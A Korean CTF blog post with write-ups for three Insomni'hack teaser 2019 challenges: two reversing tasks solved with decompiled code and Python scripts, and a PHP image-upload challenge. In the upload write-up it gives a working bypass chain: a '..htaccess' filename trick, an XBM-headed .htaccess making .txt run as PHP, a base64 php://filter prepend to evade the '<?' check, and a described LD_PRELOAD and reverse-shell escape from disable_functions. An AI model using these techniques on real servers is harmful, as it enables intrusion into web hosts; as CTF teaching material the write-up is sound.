2019년 2월 10일 일요일

[CTF] Insomni'hack teaser 2019

Insomni'hack teaser 2019

Rank 22. Hayyim_Sec

Problems

Writeups

beginner_reverse

A babyrust to become a hardcore reverser.
  • 프로그램의 메인 함수(beginer_reverse::main::h80fa15281f646bc1()에 입력 값과 bitwise 연산을 수행한 값을 비교하는 것을 확인할 수 있다.
  do
  {
    if ( v15 == v23 )
      break;
    v26 = ((*(v33 + 4 * v24) >> 2) ^ 0xA) == *(v15 + 4 * v24);
    ++v24;
    v25 += v26;
    v23 -= 4LL;
  }
  while ( v24 < v16 );
  • bitwise 연산에 사용 되는 값은 메인 함수의 시작 부분에서 초기화 되며 해당 값을 이용하여 사용자 입력 값을 찾을 수 있다.
  *table = xmmword_51000;
  *(table + 16) = xmmword_51010;
  *(table + 32) = xmmword_51020;
  *(table + 48) = xmmword_51030;
  *(table + 64) = xmmword_51040;
  *(table + 80) = xmmword_51050;
  *(table + 96) = xmmword_51060;
  *(table + 112) = xmmword_51070;
  *(table + 128) = 0x1DE000001E2LL;
  v33 = table;
  • 위의 내용을 토대로 역연산을 수행하게 되면 플래그를 획득할 수 있다.
flag = ''
for i in range(0x0000000000051000, 0x0000000000051090, 4):
 flag += chr( (Dword(i) >> 2) ^ 0xa)
print flag

Junkyard

Wall-E got stuck in a big pile of sh*t. To protect him from feeling too bad, its software issued an emergency lock down. Sadly, the software had a conscience and its curiosity caused him to take a glance at the pervasive filth. The filth glanced back, and then…
Please free Wall-E. The software was invented by advanced beings, so maybe it is way over your head. Please skill up fast though, Wall-E cannot wait for too long. To unlock it, use the login “73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81” and the correct password.
Software was leaked a long time ago and is available here
  • 사용자 이름 (73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81)과 암호를 입력하게 되면 암호화 연산을 거쳐 MD5 결과 값이 27debb435021eb68b3965290b5e24c49(7303) 를 만족하는지 확인하게 된다.
 StringToHex(v59, v60, 0x10uLL);
  sub_1384(0LL, "TQ45h08Com6zSDYN6Ps5UCMYXFpOfV", "9aHEE4jcENd3MS67fFey5Qr4b88xGg");
  for ( k = 5; k <= 8u; ++k )
    v28[k - 5] = v60[k];
  v12 = strlen(v28);
  MD5(v28, v12, &v57);
  StringToHex(&v57, &s2, 0x10uLL);
  sub_1384(0LL, "DTBq2yk1a9Ed25rvMDvMOROV7aAAZc", "LkKxlLyas59iYT6ynSNmVFhR9SKhQX");
  v13 = strlen(MD5Hash);
  if ( !strncmp(MD5Hash, &s2, v13) )
  {
    v17 = 3;
    v18 = 0xFFFFFAC7;
    sub_33F2(v59);
  }
  • MD5의 데이터는 암호화 연산의 결과 값을 hex 값으로 표현했을 때 5번째 인덱스 부터 8번째 인덱스를 사용하므로 ???7303?의 형태와 일치하는 암호화 연산의 입력 값을 찾아야 한다.
  • 암호화 연산의 결과 값에 영향을 미치는 데이터는 사용자 암호의 1 번째 글자(sub_369D 함수의 결과 값이 1)와 42번째 글자(sub_379A 함수의 결과 값이 42)로 두 바이트에 대해 브루트 포싱을 수행하면 MD5를 만족하는 암호화 연산의 입력 값을 찾을 수 있다.
 v7 = _UserPassword[sub_369D()] - 0x30;
 v8 = v7 + *(&Table + _UserPassword[sub_379A()]) + 0x27A;
 v27 = sub_303E(_UserId, _UserId) + v8;
 for ( i = 0LL; i <= 0x28E; ++i )
   *(&Table + i) += v27;
 v20 = 0LL;
 for ( j = 0LL; j <= 0x28E; ++j )
 {
   if ( !(*(&Table + j) % 23) )
     v20 += *(&Table + j);
   if ( !(*(&Table + j) % 300) )
     v20 -= *(&Table + j);
   if ( v20 < 0 )
     v20 = -v20;
 }
 v22 = *(&Table + 155LL - *_UserPassword);
 snprintf(v59, 0x13uLL, "%lu", v22, UserPassword);
'''
iv = []
for i in range(0x0000000000008140, 0x000000000008B80, 4):
        iv.append(Dword(i))
'''
iv = [117L, 206L, 328L, 355L, 415L, 419L, 1050L, 1202L, 1270L, 1298L, 1364L, 1482L, 1541L, 1565L, 1761L, 2154L, 2285L, 2454L, 2663L, 2692L, 2813L, 3282L, 3620L, 3894L, 4380L, 4575L, 4671L, 4692L, 4719L, 4737L, 4761L, 4963L, 5182L, 5434L, 5530L, 5541L, 5654L, 5803L, 5866L, 6064L, 6094L, 6211L, 6417L, 6500L, 6567L, 6723L, 6728L, 6793L, 6923L, 7026L, 7122L, 7263L, 7364L, 7648L, 8176L, 8269L, 8336L, 8364L, 8662L, 8749L, 8875L, 9190L, 9237L, 9451L, 9455L, 9515L, 10103L, 10208L, 10291L, 10445L, 10624L, 10831L, 10888L, 10892L, 10928L, 10955L, 10974L, 11044L, 11073L, 11126L, 11141L, 11279L, 11305L, 11488L, 11535L, 11679L, 11709L, 11809L, 1872L, 12209L, 12392L, 12856L, 13059L, 13063L, 13100L, 13133L, 13162L, 13226L, 13276L, 13319L, 13495L, 13594L, 13654L, 13687L, 13863L, 13883L, 13974L, 14063L, 14399L, 14461L, 14561L, 14680L, 14721L, 15038L, 15051L, 15172L, 15301L, 15532L, 15666L, 15926L, 16103L, 16120L, 16367L, 16387L, 16459L, 16491L, 16680L, 16821L, 16919L, 17083L, 17156L, 17205L, 17385L, 17732L, 17867L, 18087L, 18174L, 18181L, 18200L, 18277L, 18331L, 18481L, 18615L, 18664L, 18923L, 19018L, 19029L, 19212L, 19219L, 19362L, 20141L, 20562L, 20581L, 21117L, 21166L, 21448L, 22066L, 22085L, 22177L, 22397L, 22561L, 22678L, 22952L, 23178L, 23188L, 23257L, 23313L, 23342L, 23597L, 24055L, 24120L, 24122L, 24136L, 24154L, 24515L, 24545L, 25050L, 25083L, 25356L, 25362L, 25583L, 25719L, 25896L, 25987L, 26019L, 26067L, 26249L, 26255L, 26288L, 26395L, 26524L, 27015L, 27121L, 27186L, 27270L, 27372L, 27390L, 27469L, 27526L, 27553L, 27716L, 27842L, 27855L, 27881L, 28062L, 28175L, 28325L, 28609L, 29102L, 29216L, 29291L, 29358L, 29527L, 29563L, 29674L, 29701L, 29736L, 29762L, 29948L, 29978L, 30058L, 30103L, 30340L, 30543L, 30601L, 30674L, 30752L, 30759L, 30793L, 30829L, 30930L, 31073L, 31140L, 31227L, 31310L, 31446L, 31720L, 31781L, 31902L, 31905L, 32092L, 32106L, 32137L, 32157L, 32356L, 32457L, 32508L, 32511L, 32600L, 32753L, 32830L, 32840L, 33061L, 33161L, 33410L, 33512L, 33624L, 34101L, 34251L, 34426L, 34434L, 34743L, 34885L, 34969L, 35003L, 35302L, 35505L, 35544L, 35987L, 36090L, 36109L, 36125L, 36134L, 36178L, 36206L, 36412L, 36415L, 36483L, 36615L, 36665L, 36787L, 36815L, 37283L, 37335L, 38003L, 38139L, 38285L, 38356L, 38500L, 38732L, 39075L, 39179L, 39196L, 39268L, 39274L, 39691L, 40098L, 40145L, 40439L, 40467L, 40519L, 40533L, 40534L, 40747L, 40755L, 40774L, 41028L, 41219L, 41299L, 41344L, 41379L, 41419L, 41495L, 41507L, 41559L, 41603L, 41614L, 41794L, 41835L, 42071L, 42227L, 42255L, 42474L, 42782L, 43143L, 43403L, 43683L, 43813L, 43922L, 44357L, 44372L, 44499L, 44529L, 44552L, 44608L, 44744L, 44788L, 44839L, 44954L, 44998L, 45018L, 45094L, 45099L, 45101L, 45350L, 45417L, 45554L, 45599L, 45624L, 45875L, 45965L, 46002L, 46157L, 46161L, 46167L, 46191L, 46379L, 46423L, 46453L, 46523L, 46558L, 46683L, 46693L, 46720L, 46996L, 47011L, 47038L, 47050L, 47104L, 47123L, 47227L, 47254L, 47324L, 47699L, 47785L, 47895L, 48061L, 48148L, 48263L, 48547L, 48686L, 48712L, 48888L, 48891L, 48931L, 48971L, 49068L, 49114L, 49124L, 49164L, 49188L, 49808L, 50083L, 50262L, 50545L, 50590L, 50820L, 50963L, 51268L, 51353L, 51366L, 51369L, 51416L, 51496L, 51823L, 52074L, 52330L, 52369L, 52732L, 52781L, 52866L, 52881L, 53072L, 53539L, 53556L, 53656L, 53692L, 53788L, 53827L, 54076L, 54261L, 54374L, 54399L, 54458L, 54623L, 54669L, 54683L, 54685L, 54753L, 54889L, 55164L, 55263L, 55268L, 55288L, 55351L, 55426L, 55456L, 55547L, 55583L, 56139L, 56248L, 56405L, 56432L, 56535L, 56554L, 56598L, 56603L, 56710L, 56966L, 57260L, 57332L, 57479L, 57788L, 57803L, 57807L, 57835L, 57997L, 58088L, 58287L, 58339L, 58354L, 58432L, 58513L, 58561L, 58682L, 58834L, 58934L, 58965L, 58981L, 59420L, 59504L, 59512L, 59531L, 59724L, 59996L, 60129L, 61011L, 61288L, 61413L, 61474L, 61544L, 61692L, 61719L, 61990L, 62121L, 62191L, 62258L, 62405L, 62430L, 62432L, 62442L, 62521L, 62539L, 62628L, 62782L, 62921L, 63041L, 63079L, 63294L, 63385L, 63492L, 64128L, 64141L, 64157L, 64182L, 64209L, 64287L, 64296L, 64316L, 64564L, 64755L, 64980L, 65268L, 65334L, 65462L, 65508L, 65800L, 65958L, 65999L, 66347L, 66427L, 66592L, 66783L, 67082L, 67165L, 67329L, 67429L, 67696L, 67840L, 67853L, 67885L, 68040L, 68203L, 68264L, 68819L, 69148L, 69151L, 69221L, 69384L, 69555L, 69615L, 69635L, 69637L, 69709L, 69910L, 69951L, 70037L, 70209L, 70631L, 70986L, 71040L, 71178L, 71306L, 71607L, 71670L, 71825L, 72074L, 72078L, 72108L, 72186L, 72839L, 72880L, 72882L, 72933L, 73451L, 73795L, 73966L, 74117L, 74369L, 74536L, 74542L, 74746L, 74792L, 74953L, 74982L, 75032L, 75390L, 75402L, 75406L, 75560L, 75725L, 75766L, 75801L, 75950L, 76025L, 76051L, 76064L, 76089L, 76098L, 76275L, 76324L, 76385L, 76439L, 76479L, 76492L, 76499L, 77058L, 77134L, 77300L, 77452L, 77663L, 77740L, 77827L, 77928L, 77972L, 78238L, 78299L, 78372L, 78573L, 78574L, 78591L, 78610L, 78648L, 78833L, 78970L, 78984L, 79182L, 79297L, 79417L, 79546L, 79893L, 80064L, 80162L, 80347L, 80522L, 80598L, 80654L, 80679L, 80746L, 81026L, 81314L, 81320L, 81329L, 81399L, 81402L, 81635L, 81664L, 81692L, 81788L, 81986L, 82072L, 82643L, 82679L, 82978L, 82997L, 83050L, 83094L, 83394L, 83534L, 83965L, 83993L, 84162L, 84188L, 84346L, 85031L, 0L]

def find_key(val1, val2):
        iv_t = iv[:]
        v7 = val1 - 0x30
        v8 = v7 + iv_t[val2] + 0x27a
        v27 = 0xD9DC8 + v8
        for i in range(0, 655):
                iv_t[i] += v27
        return iv_t[0x9b - val1]

import os

for i in range(0x20, 0x7f):
        for j in range(0x20, 0x7f):
                if str(find_key(i, j)).encode('hex')[5:9] == "7303":
                        flag = (chr(i) + chr(j) * 0x2a)
                        print flag
                        os.system("./junkyard-425dbe2b91c9349e1f991a96ffd8b83a3fa47d0730b58d60ea39694115421d8a 73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81 %s" % flag)

l33t-hoster

You can host your l33t pictures here.
  • 이미지 파일의 특정 조건을 만족한 파일을 업로드할 수 있는 기능이 구현되어 있다.
$disallowed_ext = array( "php", "php3", "php4", "php5", "php7", "pht", "phtm", "phtml", "phar", "phps");


if (isset($_POST["upload"])) {
    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        die("yuuuge fail");
    }

    $tmp_name = $_FILES["image"]["tmp_name"];
    $name = $_FILES["image"]["name"];
    $parts = explode(".", $name);
    $ext = array_pop($parts);

    if (empty($parts[0])) {
        array_shift($parts);
    }

    if (count($parts) === 0) {
        die("lol filename is empty");
    }

    if (in_array($ext, $disallowed_ext, TRUE)) {
        die("lol nice try, but im not stupid dude...");
    }

    $image = file_get_contents($tmp_name);
    if (mb_strpos($image, "<?") !== FALSE) {
        die("why would you need php in a pic.....");
    }

    if (!exif_imagetype($tmp_name)) {
        die("not an image.");
    }

    $image_size = getimagesize($tmp_name);
    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
        die("lol noob, your pic is not l33t enough");
    }

    $name = implode(".", $parts);
    move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
  • 파일 업로드 과정 중 파일 이름을 확인하는 루틴에서 검증을 제대로 하지않아 …htaccess 파일 명으로 업로드하게 되면 .htaccess 파일을 업로드 할 수 있게 된다.
tonix@ch1m4c:~$ cat test.php
<?php

        $parts = explode(".", "..htaccess");
        echo var_dump($parts);
?>
tonix@ch1m4c:~$ php test.php
array(3) {
  [0]=>
  string(0) ""
  [1]=>
  string(0) ""
  [2]=>
  string(8) "htaccess"
}
  • 하지만 .htaccess 파일의 내용을 의미 있는 값으로 작성하기 위해서는 exif_imagetype와 getimagesize 함수를 통해 필터링하는 과정을 우회해야 한다.
  • exif_imagetype의 경우 IMAGETYPE_XBM 파일 형식을 지원하는데 해당 파일은 '#'을 이용하여 이미지의 데이터를 구성하기 때문에 .htaccess의 주석을 의미하는 '#'와 동일한 점을 이용하여 의미 있는 값을 작성한 .htaccess를 업로드할 수 있게 된다.
#define test_width 1337
#define test_height 1337
AddType application/x-httpd-php .txt
  • 이로써 확장자와 파일명을 우회하여 php 코드를 실행할 수 있도록 .htaccess를 업로드 할 수 있다.
  • 그러나 php 코드를 삽입한 파일을 업로드하기 위해서는 데이터에 ‘<?’ 문자열이 포함되지 않도록 해야 한다.
  • 이를 우회하기 위해서 .htaccess에서 php_value를 조작할 수 있는 기능을 사용하여 base64 encode 되어 있는 php 코드를 decode 하여 include 하는 방식으로 필터링을 우회할 수 있다.
//.htaccess
#define test_width 1337
#define test_height 1337
AddType application/x-httpd-php .txt
php_value auto_prepend_file "php://filter/convert.base64-encode/resource=./poc.txt"
//poc.txt
#define test_width 1337
#define test_height 1337
aPD9waHAgcGhwaW5mbygpOyA/Pg==
  • PHP 파일 업로드를 통해 /flag 파일을 읽기 위해서는 /get_flag라는 binary를 실행하여야 하는데 커맨드 실행 및 쉘을 얻을 수 없도록 몇몇의 PHP 함수를 disable_function으로 등록 하였다.
  • 쉘을 획득하기 위해서 mail 함수를 이용한 RCE의 방식과 동일하게 임의의 커맨드를 실행 할 수 있는 LD_PRELOAD so 파일을 작성하여 업로드 한 뒤 perl 스크립트를 이용하여 리버스 쉘을 획득 할 수 있다.
  • 리버스 쉘을 획득한 후 /get_flag를 실행하게 되면 간단한 더하기 연산을 수행하게 되는데 일정 시간이 지나게 되면 SIGALRM이 발생하여 입력을 받기도 전에 프로그램이 종료되어 버린다.
  • trap '' SIGALRM 명령어를 이용하여 SIGALRM을 처리하지 않도록 한 뒤 /get_flag를 실행하게 되면 프로그램이 종료되지 않고 실행되어 더하기 연산을 수행한 결과 값을 입력할 수 있게 된다.

댓글 없음:

댓글 쓰기

[CTF] Codegate CTF 2019 Preliminary

Codegate CTF 2019 Preliminary Rank 15. Hayyim Sec Problems 1. MIC check ; misc 2. 20000 ; pwn 3. Butterfree ; pwn 4. ...